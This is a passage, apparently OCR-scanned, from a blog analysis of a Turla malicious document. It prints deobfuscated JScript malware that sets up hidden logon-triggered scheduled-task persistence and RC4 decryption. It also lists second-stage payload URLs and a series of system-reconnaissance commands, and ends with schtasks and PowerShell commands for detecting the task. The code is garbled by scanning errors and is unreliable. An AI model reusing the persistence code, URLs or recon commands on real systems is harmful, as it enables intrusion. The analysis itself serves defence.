var xSm3 = BGfI.NewTask(Q);
xSm3.Principal.UserId = 07Ec;
xSm3.Principal.LogonType = 6;

var wk2F = xSm3.RegistrationInfo;
wK2F.Description = RT6x;

wK2F .Author = 07Ec;

var aYbx = xSm3.Settings;
aYbx.Enabled = true;
aYbx.StartWhenAvailable = true;
aYbx.Hidden = rmGH;

var oSP7 = "2015-07-12T11:47:24";
var svaG = "2020-03-21T08:00:00";
var LDoN = xSm3.Triggers;

var r9eC = LDoN.Create(9);
r9eC.StartBoundary = oSP7;
r9eC.EndBoundary = svaG;

r9eC.Id = "LogonTriggerId";
r9eC.UserId = 07Ec;

r9eC.Enabled = true;

var gQu9 = xSm3.Actions.Create(0);
gQu9.Path = YBwP;

gQu9.Arguments = T9Px;
gQu9.WorkingDirectory = egNr;
w2cQ.RegisterTaskDefinition(Bjmr,xSm3,6,"","",3);
return true;

Ycatch(Err)

{return false;

Page 15 of 20



https://blog.angelalonso.es/2017 /10 /analysis-of-malicious-doc-used-by-turla.ntml

}}function KhDn(Bjmr)

{try

{var UGgw = false;

var BGfI = WScript.CreateObject("Schedule.Service");
BGfI.Connect()

var w2cQ = BGfI.GetFolder("WPD");
var FLsb = w2cQ.GetTasks(0);
if (FLsb.count >= @)
{var gk1H = new Enumerator(FLs6);
for (;

IgkTH.atEnd();

gk1H.moveNext())
{if (gkTH.item().name == Bjmr)
{w2cQ.DeleteTask(Bjmr,0);
UGgw = true;
}}}}catch(Err)
{return false;
}}function cz_b(S3Ws)
{var n9mV = [];
var mvAu = S3Ws.length;

for (var 1 = 0;
i < mvAu;
i++)
{var wtVX = S3Ws.charCodeAt(i);
if(wtVX >= 128)
{var h = b92A["'" + RPbY(wtVX)];
wtVX = NptO(h);
In9mV. push(wtVX);
}return n9mV;
}function NoRS(ExY2,igeK)
{var m3mH = WScript.CreateObject("ADODB.Stream");
m3mH. type = 2;
m3mH.Charset = "is0-8859-1";
m3mH.Open();
m3mH.WriteText(ExY2);
m3mH.Flush();
m3mH.Position = 0;
m3mH.SaveToFile(igeK,2);
m3mH. close();
}function Blgx(galWo)
{wyKN = "c:\x5cUsers\x5c" + whmY + "\x5cAppData\x5cLocal\x5cMicrosoft\x5cWindows\x5c";
if (! QUjy.FOLDEREXISTS(wyKN))
wyKN = "c:\x5cUsers\x5c" + wbmY + "\x5cAppData\x5cLocal\x5cTemp\x5c";
if (! QUjy.FOLDEREXISTS(wyKN))
wyKN = "c:\x5cDocuments and Settings\x5c" + w5mY + "\x5cApplication Data\x5cMicrosoft\x5cWindows\x5c
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return wyKkN
}function FXx9(Z_3F,VMd7)
{var NNSX = [];
var JDro = 0;
var KagY;
var n9mV = '';
for (var 1 = 0;

i < 256;

i++)

{NNSX[i] = i;

}for (var i = 0;

i < 256;

i++)

{IDro = (IDro + NNSX[i] + Z_3F.charCodeAt(i % Z_3F.length)) % 256;
KagY = NNSX[i];

NNSX[i] = NNSX[1Dro];

NNSX[JDro] = KagY;

var i = 0;

€

var JDro = 0;

for (var y = 0;

y < VMd7.length;

y+t)

{i=(1+1)%256;

JDro = (JDro + NNSX[i]) % 256;
KagY = NNSX[i];

NNSX[i] = NNSX[JDro];
NNSX[JDro] = KagY;

n9mV += String.fromCharCode(VMd7[y] A NNSX[(NNSX[i] + NNSX[IDro]) % 2561);
Yreturn n9mV;

}

In the 'clean’ code it is possible to see the URL for the second stage payload, which at the time of this analysis did

not work anymore

"http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php",

"http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php
Additionally, the list of commands to map the system are in the code:

systeminfo > ","net view >> ""net view /domain >> ","tasklist /v >> ","gpresult /z >> ","netstat -nao >>
"."ipconfig /all >> " "arp -a >> ","net share >> ","net use >> ","net user >> ","net user administrator >> ","net user
/domain >> ","net user administrator /domain >> ","set >>","dir %systemdrive%\x5cUsers\x5c*.* >> " "dir
%userprofile%\x5cAppData\x5cRoaming\x5cMicrosoft\x5cWindows\x5cRecent\x5¢*.* >> " "dir
%userprofile%\x5cDesktop\x5¢*.* >> " "tasklist /fi \x22modules eq wow64.d11\x22 >> " "tasklist /fi \x22modules
ne wow64.d11\x22 >> " "dir \x22%programfiles(x86)%\x22 >> ","dir \x22%programfiles%\x22 >> " "dir

%appdata% >>");
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But the most interesting part is how the persistence is done, via a schedule Service (schedule task).

{var BGfI = WScript.CreateObject("Schedule.Service");
BGfI.Connect();

var w2cQ = BGfI.GetFolder("WPD");
var xSm3 = BGfI.NewTask(@):
xSm3.Principal.UserId = 07Ec;
x5m3.Principal.LogonType = 6;

var wk2F = xSm3.RegistrationInfo;
wK2F.Description = RT6x;
wK2F.Author = 07Ec;

var aYbx = xSm3.Settings;
a¥Ybx.Enabled = true;
a¥Ybx.StartWhenAvailable
a¥bx.Hidden = rmGH;

var oSP7 "2

var svaG A3-211

var LDoN ¥Sm3.Triggers;

var r9eC = LDoN.Create(9);
r9eC.StartBoundary = oSP7;

r9eC. EndBoundary = svaG;

r9eC.Id = "LogonTriggerId";
r9ecC.UserlId = 07Ec;

roeC.Enabled = true;

var gQu9 = xSm3.Actions.Create(0);
gQu9.Path = YBwP;

gQu9.Arguments = T9Px;
gQu9.WorkingDirectory = egNr;
w2cQ.RegisterTaskDefinition(Bjmr,xSm3,6,"","",3);

A schedule task with name "TaskManager" under a folder WPD is created.

This task executes when the user logs in and calls the JS code
c:\Users\user1\AppData\Local\Microsoft\Windows\maintools.js EzZZETcSXyKAdF_e5I12il.

With the Schedule Task tool from Windows, it is possible to spot it
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When you create a task, you must specty the action that will ocour when your task starts. To change these actions, open the tas

Action Details
Start a pro.. cAllsersuserl\AppDatat] ccahMirrosoft\Windowsimaintoals s Fa7FTeSXyKAdF_o 5100

A way to check it via the CMD line is dumping all the schedule tasks and exporting to a file. For example, with a

command like this:
schtasks /query /fo csv /v > output.csv
Which permits to see the full schedule task:

"PC-DEV","\WPD\TaskManager","N/A","Ready","Interactive
only","N/A","1","user1","c:\Users\user1\AppData\Local\Microsoft\Windows\maintools.js
EzZETcSXyKAdF_e512i1","c:\Users\user1\AppData\Local\Microsoft\Windows\","Windows Task
Manager","Enabled","Disabled","Stop On Battery Mode, No Start On
Batteries","user1","Enabled","72:00:00","Scheduling data is not available in this format."," At logon
time","IN/A","N/A","N/A","N/A","N/A","N/A","N/A","N/A","N/A"

In a corporate environment, it is possible to search for that artifact via a query with PowerShell. For example,

something like this would make the work:

Invoke-Command -ComputerName COMPUTERNAME -ScriptBlock {schtasks /query /fo csv /v | findstr /i
maintools} -credential USER
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